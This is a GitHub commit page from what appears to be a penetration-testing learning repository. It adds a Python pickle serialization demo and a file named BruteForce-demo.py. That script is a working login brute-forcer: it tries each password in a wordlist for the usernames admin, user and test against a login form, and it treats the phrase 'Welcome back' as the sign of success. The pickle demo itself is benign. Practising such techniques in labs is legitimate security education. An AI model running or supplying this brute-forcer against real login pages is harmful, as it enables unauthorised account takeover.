Skip to content

Commit c9dc0b3

Browse files
committedMar 2, 2024
serialization-demo
1 parent 81a57e9 commit c9dc0b3

File tree

3 files changed

+46
-0
lines changed

3 files changed

+46
-0
lines changed
 

‎BruteForce-demo.py

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
import requests
2+
import sys
3+
4+
if len(sys.argv) !=2:
5+
print("Invalid argument!")
6+
print(">> {} </path/to/password.txt>".format(sys.argv[0]))
7+
8+
target = "http://target_url.com"
9+
username = ["admin","user","test"]
10+
password = sys.argv[1]
11+
needle = "Welcome back" #some success response keyword
12+
13+
for username in username:
14+
with open(password, "r") as password_list:
15+
for password in password_list:
16+
password = password.strip("\n").encode()
17+
sys.stdout.write("[X] Attempting User:Password -> {}:{}\r".format(username, password.decode()))
18+
sys.stdout.flush()
19+
r = requests.post(target, data={"username": username, "password": password})
20+
if needle.encode() in r.content:
21+
sys.stdout.write("\n")
22+
sys.stdout.write("\t[>>>>] Valid password '{}' found for the user '{}'".format(password.decode(), username))
23+
sys.exit()
24+
sys.stdout.flush()
25+
sys.stdout.write("\n")
26+
sys.stdout.write("\t No password found for the user {}".format(username))
27+
sys.stdout.write("\n")

‎pentest.pickle

56 Bytes
Binary file not shown.

‎serialization-demo.py

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import pickle
2+
3+
pentest = {"start": 1, "intermediate": 100, "advance": 1000}
4+
5+
for key, value in pentest.items(): # just print the dictionary value
6+
print(key, value)
7+
8+
serialization = pickle.dumps(pentest) #we can pass the pentest file into serialization manner
9+
print(serialization)
10+
11+
pentest2 = pickle.loads(serialization) #now we can load the serialized data into new pentest2 variable
12+
print(pentest2)
13+
14+
#with open("pentest.pickle", "wb") as handle: # to create a file such as pentest.pickle and write the serialized data
15+
# pickle.dump(pentest, handle)
16+
17+
with open("pentest.pickle", "rb") as handle:
18+
pentest3 = pickle.load(handle)
19+
print(pentest3)

0 commit comments

Comments
 (0)
Please sign in to comment.